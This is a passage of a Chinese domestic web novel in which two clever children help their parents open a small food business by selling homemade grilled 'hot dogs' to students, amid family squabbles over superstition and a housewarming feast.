如果他现在也是初中生的年纪,力气更大,他就一口答应下来了,毕竟也不是什么很难办的事,多送两个人而已。 宁丹萍咬咬牙,拉着宁时秋走到旁边悄声说:“我同学答应给四毛钱车费,我跟你平分行不行?” 宁时秋看了堂姐一眼,心想:以往看堂姐在家被大伯娘骂也不会反驳,特别老实巴交的样子,没想到还挺有心眼…… 要是他刚才一口答应下来,用他自行车挣的这钱,是不是就不跟他平分了? 宁时秋现在怀疑,堂姐同学答应给她的车费不止四毛钱,他觉得堂姐同学至少也会给她五毛。 因为从初中坐三轮车或者摩托车到镇上要一块钱。 镇上有车的人少,所以这一段说长不长、说短不短的路,坐车比在镇上吃一碗米粉还要贵。 公交车倒是也会在初中校门口停下载客,但是坐公交车不管距离远近,上车就是两块钱,不如三轮车和摩托车划算,学生一般都不坐公交车。 她同学想省车费,能省一半,看起来比较合理。 不过本来就是无本的买卖,给点苍蝇腿也是肉,钱攒一攒不就多了么。 宁时秋道:“看在你的面子上,答应是可以答应,不过我真骑不了好几趟,要不你送我回家,然后你自己再来送她们回家?” 宁丹萍飞快答应:“我现在就送你回家!对了,星期日下午,我也想借你的自行车接送我同学。” “也是一个人给我两毛?” 宁丹萍嘴角抽了抽,算算一下午能挣的钱,感觉有点心疼,可谁让她没车呢。 借别人的车挣钱,只能点头答应:“也给!” 宁时秋立刻很上道地说道:“那我星期日上午让我爸帮我检查车子,轮胎的气肯定也充够再给你,保证不耽误你挣钱。” 宁丹萍担心他跟他爸说,忙叮嘱:“这事是我们之间的秘密,你回家可不能跟别人说,你爸妈和小夏也不能说。” 宁时秋仿佛他妹上身一样,拍着胸脯保证:“丹萍姐你放心吧,我嘴巴很严的,我不想说的事情,我爸妈他们也不会多问。” 这一点宁丹萍丝毫不怀疑,她爸妈总是说三叔三婶太惯着孩子了,如果他们是小秋和小夏的父母,肯定会如何如何收拾他们。 可她却很羡慕小秋和小夏有这么好的父母。 还曾幻想过,如果三叔三婶是自己父母,自己就不用总是挨骂了,压岁钱也可以留一部分买自己想买的东西。 过年时,三岁的堂妹都能花点压岁钱,她妈却早早算好她能拿到多少压岁钱,少交上去一分都要问东问西半天。 宁时秋的车不如成年人用的大尺寸自行车,后座一次只能做一个人。 所以宁丹萍只能先把他送回去,然后再一个个地送自己的同学。 宁时秋自己爬上后座坐稳:“丹萍姐你把我送到我新家就行。” 宁丹萍玩笑道:“怕我多载人,少给你钱,要监工啊?” 他新家就在初中到镇上的必经之路分叉口附近,镇上的公交车从车站出来,去县城也要经过他家。 宁时秋怎么可能承认,自己现在觉得堂姐也很精,确实得盯着点呢。 “我都把我的宝贝自行车借给你了,怎么会不信任你?是小夏要在新家捣鼓点东西,我要去给她帮忙。” 宁丹萍也就是那么一说,就顺势转移了话题:“你俩忙什么?明天你家不是要办温居酒吗?你们不给三叔三婶帮忙?” 宁时秋:“我们才几岁,哪能帮得上忙,不给我爸妈添乱就不错了。” 两人一路闲聊着回到宁时秋新家,宁时夏果然搬了个小板凳,坐在门口的角落捣鼓着什么东西。 宁丹萍以为他们要玩过家家,她还得赶着去挣点零花钱,也不多问,放下宁时秋就赶紧骑着自行车回学校。 宁时夏听到动静抬起头:“哥你回来啦!丹萍姐怎么走了?她不吃吗?” “她还有事要办,等她办完再说吧,”宁时秋走到妹妹旁边蹲下,伸手摸了摸两块砖之间的水泥,“感觉还有点潮潮的,你怎么把东西都拿出来了,可以用了?” 宁时夏嘟着脸抱怨:“爸爸说放点炭烤烤就干了,可他忙着别的事,不帮我烧炭,说小孩不能玩火,哥,我们俩都是小孩,怎么办啊?” 宁时秋站起来,学着大人的样子拍了拍刚刚摸水泥的手:“你是小孩,我不是。” “那你进屋问问去?” 宁时秋进屋去问了,然后被大人们无情地判定为小孩。 宁时夏跟在后面乐得嘎嘎笑。 最后又只能去最闲的找爷爷来帮忙。 宁达以前生过一场大病,病好后不能干重活了,只能干一些放牛、种菜、喂鸡喂鸭喂牛之类的轻省活计,外加带孩子。 放牛这个活,是他们生产队有牛的人家把牛凑一起放的,每家轮流放一天,一般是家里的老人负责。 今天其他人都下地干活去了,又没轮到他们家放牛,宁达空闲时间多得很。 他打扫过牛圈,看着时间还早,正打算去海街找老友们下棋,可惜没来得及出门就被孙子孙女拽到了老三的新家。 “这是要做什么?”宁达忽悠小孩,“爷爷今天特别忙,可没空跟你们玩过家家。” 宁时夏进屋搬出来一个凳子,拽着他坐下:“爷爷你坐,我们不是在过家家,我们之前不是答应过,要给你做特别特别特别好吃的东西嘛,这个就是了!” 宁达是个爱吃的,可他左看看右瞧瞧:“这里也没有吃的呀。”跟吃的搭上边,更像过家家了,不会让他吃他们假装炒出来的菜吧? 不料他小孙子还真扛出来真家伙,把他爸之前用来烤羊剩下的炭搬出来了一兜子,还掏出了打火机和引火的松脂条。 宁达忙道:“小孩可不能玩火!” 宁时秋:“可爷爷你是大人,你可以玩。” 宁达:“……”他总感觉好像上了这俩孩子的当了。 “爷爷你帮我们点吧,我们烤东西吃。”宁时夏跟在哥哥身后,也搬出来一小袋东西。 他打开一看:“这不是你们爸妈买来给你们带去学校吃的火腿肠和小面包吗?这个剥开外面的包装就能吃,哪还用烤。” 宁时秋解释道:“我们在电视上看到别人烤热狗,就是那种面包夹着烤肠的东西,看起来特别好吃,就想试试。” 他们本来想自己做,烤成功后再给大人们一个惊喜来着。 谁能想到,连烧烤架都搭好了,他爸却说小孩子不能玩火,这事差点就办不成了。 幸好还有爷爷! 宁时夏凑到宁达耳边小小声地说:“爷爷,我们悄悄的,不让爸爸妈妈知道。” 宁达又想笑又一言难尽地看向她身后,宁时夏等了好一会儿,没得到爷爷回应,才察觉好像有点不对劲。 一转头,爸爸妈妈都站在她身后,又好气又好笑地看着他们。 第64章 宁时夏一手抱住妈妈的腿,另一只手抱住爸爸的腿,开始撒娇,企图蒙混过关。 赵如月好气又好笑地点了点女儿的额头:“你们这两个小机灵鬼。” 小时候谁没羡慕过电视里,拿着美式大热狗张大嘴巴咬一口的人呢? 连大人们也曾幻想过,电视上这种用面包夹着香肠、蔬菜、酱汁的热狗到底是什么味道。 只是大人们长大后脑子里想的事情太多,往往很容易遗忘小时候的这些小小的愿望。 宁绍明在女儿身边蹲下,拿走她偷偷搬出来的一小袋小面包:“这种小面包还不到我半个巴掌大,可做不了热狗,等着,爸爸给你们做几个大的,用那个才能夹住火腿肠。” 赵如月也搬了个凳子出来坐下,拿起火腿肠帮他们串到竹签上:“这个火腿肠这么烤也不好吃,你再给他们调点烧烤酱。” 宁绍明应了一声,起身往厨房里走。 他们今天忙了一天,现在也空闲下来了。 今天买回来不少东西,还有跟专门出租酒席用具的人,租了不少锅碗瓢盆。 原本空荡荡的厨房被填进了不少东西,各种酱料都很齐全。 虽然明天不做需要烤的菜,但上次烤羊还剩下不少孜然粉,现在正好用上。 可惜家里的调料再多也不如酒店里的多,酒店里的烧烤酱有偏咸的、带辣的、偏甜的等等好多种。 甚至会把坚果磨成粉放进去增加风味。 他们家里没有这些,小孩子也不能吃辣椒。 宁绍明只能用酱油、耗油、蜂蜜、柠檬汁、孜然调一个符合孩子口味的、最简单的酸甜口烧烤酱。 他调好酱料,看了一眼提前买回来的食材,家里还没有冰箱,现在只买回来一些比较耐放的菜,还有他们今晚原本要带回老宅做的肉。 分家后,各家本来要分开吃饭,但大嫂说她家只剩她跟女儿,做饭太麻烦,就一直没自己开火。 而他们家在温居酒之前,不能自己开火,也要跟两个老人一起吃饭,可平时家里的肉一直是他们家买。 宁绍明干脆把这块肉拿出来,全部切成薄片,用葱姜米酒和一点点盐,简单腌制去腥后端出去。 “我看签子不少,把这些肉也串起来,烤着吃了吧。” 两个孩子立刻响应,积极地拿起签子学习串肉。 宁绍明把肉放下后去杂货店买了几包酵母粉,又钻进厨房处理面粉。 揉好面发酵需要一些时间,好在他们这里气温不低,不需要等很久。 在等待的时间里,宁绍明把烤网清洗两遍,又煮了一遍高温消毒。 接着在砖砌的四方小烤炉底下铺上一层草木灰,以免炭火直接接触水泥地面,导致地面崩裂。 然后才往里放烧红的炭,把烤网摆上去,在网的表面薄薄地刷上一层油,防止烤东西的时候容易沾。 做完这些他终于宣布:“可以开始烤了,把你们串好的火腿肠拿过来吧。” 宁时夏立刻把几串火腿肠递过来,满脸期待地蹲在他身边看。 宁绍明手上边翻动着烤串边说:“这种火腿肠其实也不是热狗里面放的烤肠,下次我抽空给你们做。” 火腿肠本来就是熟的,烤起来很快,不过改花刀、刷上油之后,稍微烤久一些,改花刀翘起来的地方就会脆脆的。 它的表皮变得皱巴巴之后,一口咬下去,牙齿刚碰到它的表皮时,会稍微有点点嚼劲。 火腿肠自身的味道,加上烧烤酱丰富的滋味。 让两个小孩和一个老小孩吃得眼睛晶晶亮的,吃完又眼巴巴地盯着烤炉。 宁绍明却站了起来,把位置让出来:“你们自己先烤着,我去看看面发好了没。” 为了能减少发面的时间,他把之前把烫洗烤网的水利用起来了,往里兑了些凉水降温到大概四十度,把面盆座到温水上发面。 现在过去看,面果然已经发好了。 揉面、分剂子、把剂子整形成自己想要的形状,然后上锅二次发酵,蒸熟。 趁着馒头还在蒸,宁绍明看材料齐全,顺带手用空塑料瓶当打发工具,自己做了点蛋黄酱。 两个孩子眼巴巴地等着,结果听说夹火腿肠的面包做好了,兴冲冲跑进厨房一看,傻眼了。 “怎么是大馒头!” “爸爸骗小孩儿!” 宁时秋:“虽然爸爸把这馒头做成了面包的形状,可它们也还是大白馒头呀!” 宁时夏:“没错,我们小孩子可不是好糊弄的!” 宁绍明也不急着辩解,只说:“你们等会儿就知道了。” 他把馒头拿到外面,放到烤架上,先把表面稍微烤干一些,然后再刷一点油烤一烤。 刷上油烤过后,再戳一戳馒头的表面,可以听到咔滋咔滋的脆脆的声音。 把馒头表面烤到微微金黄,做成面包形状的烤馒头被他从中间切开。 放上一片洗干净晾干水分的生菜、几片烤肉、一根烤火腿肠。 再拿到两个孩子面前:“看看,现在像不像面包?” 他们异口同声:“像!” 接着用力鼓掌欢呼:“爸爸太厉害啦!” “爸爸是无敌中华小当家!不对,是无敌中华大当家!” 宁绍明看着孩子们对自己崇拜的眼神,被他们夸得整个人都要飘起来了,满口许诺:“爸爸以后天天给你们做!” “咳咳!”赵如月立刻咳嗽几声提醒他,这烤馒头热气得很,小孩子吃多了保准上火喉咙痛,哪能天天做。 可惜她咳得太晚,那当爹的话已经说出去了。 两个孩子可怜巴巴地看着赵如月,搞得她都不好意思拒绝。 只能退一步:“如果不用烤的,天天做也行,不然你们就等着去你们三外公家拿苦药吃喽。” 宁时夏被吓得捂住嘴巴,发出闷闷的声音:“我不吃苦药!” 宁时秋看了一眼热狗,犹豫地说:“那、那以后还有这种香香甜甜的酱吗?” 别的他不吃也可以,但是这种酱太好吃了,他很喜欢,舍不得放弃它。 赵如月看向宁绍明,宁绍明回想起没有打发器做蛋黄酱后泛酸的手:“等我去县城买机器回来,你们想什么时候吃都能吃到,以后早上吃馒头,可以掰开馒头抹一点酱夹着吃。” 一家人商量着的时候,宁达说有事要离开一会儿。 他回来时,手上拿着一包辣条,一走近就递给宁绍明:“老三你帮我烤一片这个,我想夹在那个什么狗里吃。” 宁绍明懵了一下,接过来:“爸,没想到你还挺时髦,竟然还吃辣条。” 宁时夏说道:“爸爸你不知道吗?爷爷最喜欢吃冰糖和辣条了。” 他还真不知道…… 宁绍明心里有点愧疚,自己竟然还不如女儿了解父亲。 他难得贴心关怀一回:“这个可不能多吃,吃多了容易上火,你上了年纪得注意身……” 宁达眼睛里只有他的辣条,不耐烦地打断儿子念经:“哎呀知道了知道了,到底谁是爹,你怎么比我还啰嗦,快点烤!我还能再吃一个,今晚晚饭喝几口稀粥就行了。” 宁绍明:“……” 说不过他,只能认命烤起辣条来。 辣条里香料多,烤起来跟烤肉是不一样的香,那香味问起来比烤肉还要霸道。 宁绍明做热狗做得比较快,做多了就摆在旁边不锈钢大托盘里。 想着等会儿让孩子送回老宅给他们奶奶、大伯娘和堂姐其他人尝尝。 他还有点强迫症,放在托盘上的热狗,被他摆放得整整齐齐,让人看起来特别赏心悦目。 这个点,正好是学生们放学后,在集上逛完要回家的时候,靠辣条的这股香味飘出去,吸引了不少人闻着香找来。 远远地站定后看了看,没看到招牌,有点不确定这里是不是卖东西的店,犹豫着不敢上前。 有个小胖子站了好一会儿,实在忍不住嘴馋,走近几步紧张地大声问:“老板,这个怎么卖?” 正在快乐烧烤的几个人纷纷愣住。 宁时秋反应最快,回过神来马上回答:“一块钱一个,里面有烤辣条、还有用我爸特制烧烤酱烤的火腿肠、烤肉、还有镇上只有我爸会做的香甜酱,你尝尝,这个酱特别好吃,我可喜欢吃了。” 他说着就拿了两个没用上的竹签,撩起一点蛋黄酱,让小胖子尝尝。 小胖子刚觉得一块钱太贵,放以前煮米粉没涨价到六毛一碗的时候,一块钱都能吃两碗米粉了。 可一听宁时秋这么说,再仔细一看,里面确实有很多料,就觉得一块钱能买到这么多东西,貌似确实挺划算。 他又尝了尝那个香甜酱,顿时眼睛一亮,觉得一块钱已经不是挺划算,而是太划算了! 冲着那个香甜酱,他就乐意掏钱。 小胖子拿出一块钱递过去:“那给我来一个,我要香甜酱多的这个,可以吗?” “当然可以,你喜欢这个酱,我可以再给你加一点。”宁时秋收了钱,其他人也反应过来了。 大人们下意识想说,他想吃可以让他拿一个吃着玩,不用给钱。 但宁时夏已经配合起哥哥的行动,钻进厨房里,拿出一个爸妈今天买回来的塑料袋交给哥哥。 这些塑料袋是他们给明天来吃饭的亲戚准备的,让亲戚们把席面上吃不完的饭菜打包回家。 宁时秋笑眯眯地给小胖子打包:“我们家今天第一天卖东西,没来得及准备油纸,你看用塑料袋可以吗?” 小胖子闻着旁边烤炉传出来的香味,咽着口水猛点头:“可以可以。” 这时其他被香味吸引的人也往这边走来。 哥哥在忙着给人打包的时候,宁时夏注意到了那些人。 他们看起来,也对自己家的东西很感兴趣的样子。 她低头数了数还剩下的几个热狗。 眼珠子一转,又拿了一串烤肉塞给小胖子。 然后大声说道:“你是第一个客人,多送你一串烤肉,今天买热狗的人都多送一串烤肉,只剩五个热狗,卖完这些就没有了,明天也不送了。” 她话音刚落,走得最快的人赶忙加紧脚步跑过来,掏出两块钱:“我要两个,可以给我两串烤肉吗?” 两个孩子的举动,让旁边三个大人看得目瞪口呆。 他们家店,就这样……开张了? 第65章 他们小店的开张,随意得让人猝不及防,两个孩子就这样简简单单地把生意做成了。 没算日子、没放鞭炮,随性得仿佛是钱自己哭着喊着要往他们口袋里钻。 反观他们这些大人,又是找道公找神婆算日子,又是必须先请温居酒,才能开张。 事情一箩筐,拖来拖去,反而给自己增加不少焦虑。 围过来后果断掏钱要买的学生有好几个。 他们围着两个孩子同时开口,叽叽喳喳地声音混成一团,个个都说自己也要买。 两个孩子忙不过来,赵如月和宁绍明顾不上怔愣,赶紧去帮忙。 那五个热狗卖完,没买到的学生催着他们赶紧做。 宁绍明进厨房打开蒸笼,这蒸笼是他在专门出租酒席用具的人家租来的大蒸笼,预备明天做酒席上的两个菜:梅菜扣肉和糖蒸肉。 他要做的席不多,只租了一层蒸笼,普通馒头一次可以蒸四十个。 但是他做的馒头比集上普通馒头大,大概有他媳妇儿手掌那么大一个,形状还做成面包的样式,比较占地方。 这样的馒头一次最多只能蒸二十五个。 宁绍明数了数,蒸笼里只剩下十二个馒头,扬声对着外头说道:“只剩十二个了!” “知道了!”宁时秋应了一声。 他听到厨房里传出来的话,其他人自然也听到了。 宁时秋收下排在最前面的十二个人的钱,其他人没轮到也没多说什么,只是遗憾自己吃不到,转头问买到的朋友能不能分着吃,自己给一半的钱。 他们怎么商量的宁时秋不管,他拿出纸笔,写下从一到十二的数字,剪下来后从数字中间撕下一半,另一半交给刚刚收钱的人。 “你们拿着这半张号码,叫到号就能拿东西了,没别的事可以在这里等着,有事的话也可以先去忙自己的事,热狗现做要等好一会儿呢。” 拿到半张号码的人感觉十分新奇,在场没有谁没看过古装电视剧和电影。 有些影视剧里,大侠们的信物就是像这样一分为二,见面之后能对上才是自己人! “真炫酷!”有人拿到后马上问,“以后也这样叫号领东西吗?” 宁时秋在被问到这个问题之前,还真没想过这个问题。 他这么做,只是觉得虽然自己记得给钱的每个人,可自家把钱都收了,总得给人家一个凭证,让出钱的人安心。 不过既然有人提出来,他觉得这样挺有意思的,有心想顺势应下。 可是又想到,以后自己要上学,在家里招呼客人的不是自己,是他爸妈,这个得问问大人的意见。 宁时秋看向赵如月,赵如月对上儿子的眼神,这一次终于能及时跟上孩子的想法。 在镇上的餐饮店里买东西吃,没有叫号的习惯,都是店家自己记着谁先来的、点了什么,有时候人太多就会漏掉某一个。 县城倒是有给号码拍的,每家店的号码拍不尽然一样,应该可以定做。 这放在镇上,在一段时间内,也能当做自己店里的特色。 于是赵如月点头,顺着刚刚女儿的说法,说道:“今天我们是试营业,号码牌还没做好,这段时间先临时线用手写的纸号码,以后会有专门的号码对牌。” 专门的号码对牌! 听到这个学生们都很期待,纷纷催她抓紧时间做,他们也想体验一把电视里对信物的感觉。 这让赵如月不由考虑,是不是该把号码对牌设计成古风的样式,可她不会画画,也不知道能找谁帮忙设计。 现在镇上连个网吧都没有,也不能跟以后一样,在网上出点钱就能请到会画画的人帮忙。 这就让人有些苦恼了。 宁时秋和宁时夏数了数刚才收到的钱,一共十八块钱,全部交给妈妈。 赵如月回过神,让他们自己收着:“这是你们挣的钱,要不是你们反应快,今天可挣不到这些。” 宁时秋摇头:“可是东西是爸爸妈妈买的,以后我们在自家店里帮忙,难道也要钱吗?这是自家生意。” 他们俩坚决表示不要。 赵如月蹲下身真诚地说道:“可是你们今天表现得那么好,妈妈也想给你们奖励呀。” 宁时秋想了想:“那……那我们要一点零花钱就好了。” 宁时夏跟着哥哥点头,在她这个小小孩眼里,一点零花钱就能买好多好多东西了。 有时候爸爸妈妈给她一块钱,她去小卖部买好多好多东西都花不完。 “那好吧。”赵如月抽出四块钱,给他们一人分了两块。 同时第无数次在心里感慨,自家孩子真是太懂事了。 要不是孩子真是自己亲自生出来的,确认没被换过。 她没生之前,甚至连做梦都不敢梦自己生出这样优秀的孩子。 宁时夏自己留了一块钱,剩下的一块钱交给哥哥帮自己攒着。 宁时夏从善如流地把妹妹的钱和自己的一起收起来。 上次妈妈帮他办了一张卡,把他以前攒下来的钱全部存起来,他存钱的小袋子就空了。 但是今年开学后跟以前不一样了,以前奶奶只给他零花钱,不给妹妹,给他也只给两毛钱。 现在爸爸妈妈每天都会给他和妹妹每人五毛零花钱,两个人每天合在一起花五毛,另外五毛钱存起来。 有时会多花一点,有时爸爸妈妈又会多给点,增增减减,现在他攒钱的小袋子里已经有三十九块零几毛钱。 加上今天的两块钱,就有四十一块钱了。 也不知道丹萍姐回来后,会给他分多少? 丹萍姐借车时说要送两个同学,不过他一直蹲在门口,见到丹萍姐在这条路上来回骑了七八次。 宁绍明做完最后一个热狗,宁丹萍终于骑着车回来了。 她停好自行车,神神秘秘地把宁时秋拉到旁边小树林里。 本来还担心三叔三婶问他们去那边做什么,也担心小夏粘着哥哥非要跟过去。 结果根本没人问,小夏也只是抬头看了一眼,又埋头继续在一张白纸上写写画画,忙她自己的去了。 确认房子那边的人看不到他们后,宁丹萍拿出一块钱交给宁时秋:“我一共送了五个人,每人两毛钱,一共一块钱。” 宁时秋看她在四月的天里还满头大汗,前胸后背衣服都湿透的样子。 接过钱后只说了一句:“好的。”就没再多说什么。 宁丹萍其实心里有点紧张和心虚,她看着这个堂弟长大,知道他聪明得很。 在送人的数量上,她确实没作假可说是平分其实撒谎了,她怕被宁时秋说穿。 要是堂弟跟她闹起来,人家有父母支持,奶奶又偏心他,自己肯定讨不了好,挣的这些钱绝对留不下一分。 没准她妈还要逼着她以后多接送点人,最好放假时间也在集上接送周边从村里出来赶集的人,到时候挣到的钱,当然也不会有一分落到她手里。 宁丹萍不知道自己这小生意能瞒住家里多久,她知道这事早晚会被发现,只希望能瞒久一些,再久一些。 最好瞒到她攒够钱,买到自己想买的东西为止。 宁时秋没多说什么让她狠狠松了一口气:“那我先回去了。” “丹萍姐你等等,”宁时秋拦了她一下,“我爸还在烤肉,你带一些回家,你们晚饭时吃,我和小夏还有爸爸妈妈爷爷都吃饱了。” 宁丹萍带了一盒烤肉回去,王海燕还以为是她买的,喜得眉开眼笑,直夸她懂事了:“早就该这样,我看别人放学回家都懂得买点菜买点肉回来,只有你是个榆木脑袋,以前一点不懂孝敬父母,现在可好,总算长大了,以后……” “不是我买的!”宁丹萍本来难得被夸,心里既高兴又酸涩。 上次被夸奖是什么时候来着?时间过去太久,她都记不清了,甚至有点怀疑自己以前从来没被夸奖过。 宁丹萍正犹豫着要不要干脆认了这肉是自己买的,三叔一家和爷爷听她妈说起来,应该不会拆穿她。 可一听到她妈说以后,宁丹萍就知道,但凡这一次认下这肉是自己买的,以后还得继续买。 要不然以后哪次不买回来,她肯定挨骂,买了也不一定再次被夸,她妈反而会觉得她买才是应该的,不买就是不孝。 宁丹萍立刻打断王海燕的话:“这是三叔烤来卖的,让我拿点回来晚饭添道菜,三叔一家和爷爷在三叔新家那边吃过了,让我们晚饭不用等他们。” 王海燕一听,脸瞬间耷拉阴沉下来:“就给这么点肉,打发叫花子呢!他们在那边吃的什么?” “不知道,我去的时候他们已经吃饱了,应该也是烤肉吧。” “呸,感情拿回来给我们的东西,是他们吃剩下的剩饭!” 王海燕说是这么说,但吃完饭的时候也没少往烤肉上夹。 黄秀华听宁丹萍说他们在老三家新房吃过了,心里也有点不太高兴。 宁达在外面溜达一圈回来,黄秀华就拉着他数落:“温居酒还没吃,怎么你跟老三一家子就在那边吃饭了? 他们年轻不懂事,你个老头都多大岁数了,也不懂事?提前在那边吃饭像什么话!” “哪有你说的那么严重……”宁达弱弱地反驳。 话说一半,被黄秀华气恼地打断了:“这样可非常不吉利,以后做生意会有妨碍的!又得花钱去找道公破灾!” 宁达没办法,这种事他一向说不过她:“那你去找老三两口子说吧,跟我说也没什么用,又不是我做生意。” 黄秀华恨铁不成钢地瞪了宁达一眼,骂道:“家里有什么事,就指望不了你一点!给我闪开别挡道!” 骂完推开宁达,赶紧出门找宁绍明夫妻俩去了。 第66章 黄秀华到他们新房的时候,赵如月刚好洗完澡出来,轮到宁绍明进去洗。 天暖起来后,洗澡温度不需要太高,需要的热水少,电热水器烧一次水就够他们一家四口洗了。 两个孩子比他们洗得早,正坐在门口借着傍晚的微风晾头发。 “小秋,你爸呢?”黄秀华问道。 宁时秋往里看了一眼:“我爸正洗澡,妈妈,我奶奶来了。” 赵如月听到他叫自己,从里面走出来。 看到黄秀华脸色不太好,不解地问:“妈,你有事找我们?” 要是儿子,黄秀华肯定劈头盖脸就骂上去了。 可出来的是儿媳,面对儿媳,黄秀华知道不能用对待儿子的方式,这儿媳娘家可不好惹。 她缓和了一下表情,继续说道:“我听小秋爷爷说,你们今天在这里开火吃饭了?” 宁时秋这时也看出来了,奶奶是来找事的,他经常见奶奶骂大伯娘,最近大伯娘硬气了,升级为两人对骂。 他担心自己妈妈也挨奶奶骂,忙抢话:“奶奶,我们在门口烧烤也不行吗?” 宁时秋没说自己爸爸也用厨房蒸馒头了,只提烧烤这事。 “对不起,是我让爸爸妈给我做的,我不知道现在还不能在新家开火做吃的,是我的错,我太嘴馋了。”宁时秋说着,抬起头,可怜巴巴的样子看向黄秀华,一脸要哭不哭的样子。 黄秀华一看这么可怜的样子,可真是心疼坏了,也顾不上给三儿子夫妻俩说教。 搂住宝贝小孙子一叠声道:“没事没事,这其实也不是什么很严重的事,你一个小孩子,不知道很正常,要怪也是怪你爸妈,还有你爷爷,三个大人那么大年纪了,还不知道轻重。” 她顾着哄孙子,完全把赵如月抛到了脑后。 赵如月也不管她,抱起女儿做到门口,风大一点的地方吹头发。 宁绍明洗澡速度快,把身体淋湿后,一块香皂从头洗到脚再冲干净,没几分钟就出来了。 他出来的时候,正好听到他妈在说:“小秋不用心里过意不去,这真不怪你,等过几天,我让你爸妈去道公和神婆那里,让他们念经化煞就好了。” 宁绍明不解:“化什么煞?” 黄秀华这会儿心情已经平复下来了,见到他虽然还是有点气,但语气也算平和。 只是她跟宁绍明说话时,说出口的话,总是习惯性带着指责:“还不是你们大人不懂事,还没请亲朋好友来吃温居酒,就在新房开火,过几天可得再去一趟道公和神婆那里化煞,要不以后这店怎么开?” 黄秀华本以为这次自己占着理,事情的发展会跟以前一样,自己说几句,儿子儿媳就会照搬。 可经过上次后,宁绍明很不喜欢这种事。 他现在一听到又要去,心里就不由涌起一股烦躁:“你爱去你自己去,我们不去。” 这话一出,原本已经被宁时秋哄得消了气的黄秀华炸了:“你说什么?” 宁绍明擦着还在滴水的头发,口齿清晰地回答:“我说我们不去。” 他本来就打心底不相信这些,之前只是拗不过他妈,为了不让她总是念叨才妥协了。 现在他们提前在新家开火怎么了? 还没到开张的日子,他家孩子提前卖东西又怎样? 如果非得到选定的日子才能开张,怎么他家孩子就这么轻轻松松把东西卖出去了? 那么神的话,别让他们的东西卖得出去呗? 今天东西卖得那么好,可见选日子其实没那么重要。 黄秀华非要他们去找道公和神婆这事,宁绍明后来也回过味来了。 她非要叫他们去找人算日子,迷信只是其中一个原因,其实她更有可能是还想插手他小家的事情。 他们分家了,她依然想找一些事,来彰显她的存在感和对他们这些子女的掌控力。 毕竟在他妈眼里,大哥她管不了一点,二哥是老师,有文化,她觉得自己没文化,不能乱管。 看来看去,就只有他最好拿捏。 只是从去年到今年,这一年多的时间里,宁绍明已经看清了很多东西。 开店做生意这件事,是他和他老婆的决定。 从做决定到建房、装修,再到现在准备开店,他妈没来帮过忙。 既然从一开始就没插手,那现在所有前期准备都做得差不多了,只等着开店,她再想来插手做他们的主,不可能! 她现在只是插手开店的时间、在新家开火这点事,以后呢? 要是生意好,她是不是还要往店里安排人?会不会让他帮衬帮衬他二哥?补贴补贴他大哥? 要是生意不好,是不是又要叫他们去给道公和神婆送钱? 宁绍明完全有理由相信,那些是她能做出来的事。 黄秀华摆出了一家之主的架势,强硬地说道:“不行,必须去!要不然……” 后面的话宁绍明都懒得听,直接打断:“不去!” “你你你……”黄秀华指着他,“我这是为你好!” 宁绍明把儿子抱起来说:“用不着。” 宁绍明:“我是你亲妈,难道我还会害你?” “我知道你不会害我,但我知道我也不想去。” 黄秀华痛心疾首,但来来回回就是那几句:我不会害你,这事不去办不行,我这事为你好…… 话不尽然相同,但意思就是那个意思。 宁绍明听得耳朵都要起茧子了,最后他也不跟她掰扯了,招呼老婆和女儿就要走。 明天他凌晨就得起床,去把羊带回来宰杀收拾干净,赶中午那顿饭,没空听他妈在这里重复那些没有意义的话。 黄秀华回去后气得晚上睡不着觉,暗暗在心里发誓,明天绝对不去老三新房帮忙。 他们来请她去吃饭,她也绝对不会去! 宁绍明可不管她怎么想,早上起床去把羊拉回来,跟几个朋友把那羊收拾干净,就开始熬汤。 今天他做的是羊杂汤,羊头和羊蹄处理干净后也跟羊骨头一起熬汤。 熬两大锅汤,一锅中午喝,一锅一直熬到傍晚喝。 羊的其他部位分割,处理腌制好,用来做别的菜。 今天一共要请中午和晚上两顿,不过晚上才是正餐。 中午吃得比较简单,主要是给来帮忙的亲戚朋友解决一下午饭。 其实之前建房子,来帮工的人,大部分也是他们的亲戚朋友,这次温居酒那些人也来帮忙了。 宁绍明就把炒河粉,或者说炒米粉,被安排在了中午这一顿。 另一个原因是现在天气热,今天他用的米粉又大部分是镇上本地作坊每天新鲜现做的鲜米粉。 只有一小部分用的是干米线。 这个天气,买回来的鲜米粉不放冰箱里冷藏,留到傍晚就不新鲜了,镇上人吃惯了鲜米粉,可能会挑剔这一点。 租来的大锅用热水刷洗干净,烤干水分。 热锅凉油,被切成片腌好的羊肉下锅,发出刺啦一声。 羊肉切得很薄,稍微翻炒一会儿变色后,再倒入米粉翻炒。 大锅柴火灶,锅气十足。 宁绍明用大锅铲翻炒了几下,那肉味混着碳水的香味就开始从锅里漫出来了。 “真香啊!”蹲在他旁边帮忙烧火的一个兄弟忍不住咽了口口水,“不愧是在酒店后厨学过的大厨,这手艺杠杠的!” 宁绍明谦虚道:“我也就是跟着学过几天,不算什么大厨,鲜米粉本来就是熟的,这个很快就好了,你想吃现在就可以去拿碗,我先给你盛点。” “那感情好,我先替他们尝尝。”那兄弟洗了洗手就拿碗去了。 他拿了个小碗过来,宁绍明给他铲了半锅铲放碗里,一句‘刚出锅,小心烫’还没说完。 那兄弟已经被烫得斯哈斯哈的,吃得头也不抬,唏哩呼噜地飞快吃掉了三分之一。 直到把碗里的炒米粉全吃完,才抬起头来,爽得长舒一口气。 他放下筷子,对着宁绍明比起大拇指:“好吃!你这手艺绝了!你做的这个炒米粉,跟县城那家卖炒河粉的应该是一个东西吧?我之前在县城那家吃过,我觉得你做的比县城那家还好吃。” 宁绍明趁机问:“你觉得我在镇上卖这个怎么样?” 那兄弟夸张地说道:“你要是卖,我以后绝对天天来捧场!” 宁绍明听到这话心里很开心,没有厨子不希望自己做出来的饭菜受欢迎。 但宁绍明也没把他的话全部当真,他这些兄弟家里还有一家老小要养呢,哪能天天出来买着吃。 不过朋友偶尔能来个一回两回,他也很高兴。 第一锅羊肉炒粉出锅,全部铲到一个大托盘上,端到前面店里。 那里桌椅是现成的,也不用支起自家用的大圆桌了。 将羊肉炒粉放下后,宁绍明又回去,把一锅羊汤也抬到店里:“大家饿了就先吃,炒粉吃着觉得太干可以配着羊汤,都别客气啊!” 亲戚朋友们开玩笑道:“我们来你这里,可从来不知道客气这两个字怎么写,大厨赶紧回厨房继续做,要不我们得把你这盆一起啃了。” 说完不约而同地哈哈大笑起来。 宁绍明本来估摸着人数,打算做三大托盘的炒粉,分别是羊肉炒鲜粉、猪肉炒鲜粉还有猪杂炒干米线。 